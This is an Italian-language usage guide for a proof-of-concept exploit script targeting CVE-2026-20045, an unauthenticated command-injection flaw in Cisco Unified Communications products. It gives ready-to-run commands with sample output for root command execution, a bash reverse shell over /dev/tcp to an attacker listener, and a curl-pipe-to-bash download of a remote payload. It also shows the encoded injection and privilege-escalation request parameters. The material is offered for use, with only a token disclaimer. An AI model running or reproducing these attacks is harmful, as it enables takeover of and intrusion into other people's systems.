
Proof-of-concept exploit per CVE-2026-20045, una vulnerabilità critica di RCE non autenticata nei prodotti Cisco Unified Communications, che consente l'iniezione di comandi e una reverse shell con escalation a root.

Una vulnerabilità critica di esecuzione remota di codice (RCE) che colpisce diversi prodotti Cisco Unified Communications. È stata sfruttata attivamente in ambienti reali prima del rilascio delle patch.
Ciò significa che un attaccante potrebbe assumere completamente il controllo dei sistemi interessati da remoto.
Ecco una guida curata con esempi di utilizzo per eseguire lo script PoC, inclusa esattamente ciò che vedresti nel tuo terminale se lo sfruttamento riesce su un target Cisco Unified Communications vulnerabile (interfaccia web non patchata esposta). Ho aggiunto alcuni elementi estetici con emoji, blocchi di codice colorati (tramite markdown) e sezioni strutturate per una migliore leggibilità. 😎
Questo esegue comandi semplici per recuperare ID utente, nome utente e dettagli di sistema.
Comando:
python3 CVE-2026-20045.py https://target-ucm:8443 "id && whoami && uname -a"
Cosa vedresti se funziona (Output riuscito):
[*] Invio dell'iniezione Stage 1 a: https://target-ucm:8443/cucm-uds/?query=JyA7IGlkICYmIHdob2FtaSAmJiB1bmFtZSAtYSAj
[*] Comando iniziale: id && whoami && uname -a
[+] Stage 1 probabilmente riuscito! Stato: 200
[*] Invio dell'escalation Stage 2 a: https://target-ucm:8443/cucm-uds/?escalate=c3VkbyAtaTsgaWQgJiYgd2hvYW1pICYmIHVuYW1lIC1h
[+] Stage 2 (escalation root) probabilmente riuscito! Stato: 200
[+] Possibile output del comando:
------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
root
Linux ucm-server 5.15.0-89-generic #99-Ubuntu SMP Mon Oct 30 20:44:33 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
------------------------------------------------------------
🔑 Segnali chiave: Indicatori verdi [+], stato HTTP 200 e risultati dei comandi nel blocco di output. Se non viene mostrato alcun output ma lo stato è 200, ha comunque funzionato silenziosamente!
Questo genera una shell interattiva verso la tua macchina. Per prima cosa, avvia un listener: nc -lvnp 4444.
Comando:
python3 CVE-2026-20045.py https://target-ucm:8443 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
Cosa vedresti se funziona (Nel terminale dello script):
[*] Invio dell'iniezione Stage 1 a: https://target-ucm:8443/cucm-uds/?query=JyA7IGJhc2ggLWkgPiYgL2Rldi90Y3AvWU9VUl9JUC80NDQ0IDAmPjEgIw==
[*] Comando iniziale: bash -i >& /dev/tcp/YOUR_IP/4444 0>&1
[+] Stage 1 probabilmente riuscito! Stato: 200
[*] Invio dell'escalation Stage 2 a: https://target-ucm:8443/cucm-uds/?escalate=c3VkbyAtaTsgYmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSX0lQLzQ0NDQgMD4mMQ==
[+] Stage 2 (escalation root) probabilmente riuscito! Stato: 200
[+] Comando eseguito silenziosamente (controlla il target per gli effetti)
Cosa vedresti nel terminale del listener (nc):
listening on [any] 4444 ...
connect to [YOUR_IP] from (UNKNOWN) [TARGET_IP] 54321
bash: cannot set terminal process group (1234): Inappropriate ioctl for device
bash: no job control in this shell
root@ucm-server:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ucm-server:~#
🚀 Segnali chiave: Lo script mostra messaggi di successo; il listener riceve immediatamente un prompt di shell root. Digita comandi lì per interagire!
Questo scarica ed esegue uno script dal tuo server.
Comando:
python3 CVE-2026-20045.py https://target-ucm:8443 "curl -s http://YOUR_SERVER/payload.sh | bash"
Cosa vedresti se funziona (Output riuscito):
[*] Invio dell'iniezione Stage 1 a: https://target-ucm:8443/cucm-uds/?query=JyA7IGN1cmwgLXMgaHR0cDovL1lPVVJfU0VSVkVSL3BheWxvYWQuc2ggfCBiYXNoICM=
[*] Comando iniziale: curl -s http://YOUR_SERVER/payload.sh | bash
[+] Stage 1 probabilmente riuscito! Stato: 200
[*] Invio dell'escalation Stage 2 a: https://target-ucm:8443/cucm-uds/?escalate=c3VkbyAtaTsgY3VybCAtcyBodHRwOi8vWU9VUl9TRVJWRVIvcGF5bG9hZC5zaCB8IGJhc2g=
[+] Stage 2 (escalation root) probabilmente riuscito! Stato: 200
[+] Comando eseguito silenziosamente (controlla il target per gli effetti)
📥 Segnali chiave: Codici di stato 200; verifica sul target (es. controlla log/file) o sul tuo server (log di download). Nessun output diretto se il payload è silenzioso.
💡 Suggerimenti professionali:
sudo se necessario per i privilegi di rete.Validazione impropria dell'input fornito dall'utente nelle interfacce di gestione HTTP, che consente l'iniezione di comandi che porta all'esecuzione remota di codice.
Tutto il codice PoC è destinato esclusivamente a uso etico ed educativo su sistemi autorizzati. Lo sfruttamento non autorizzato è illegale; non si assume alcuna responsabilità per un uso improprio. 😈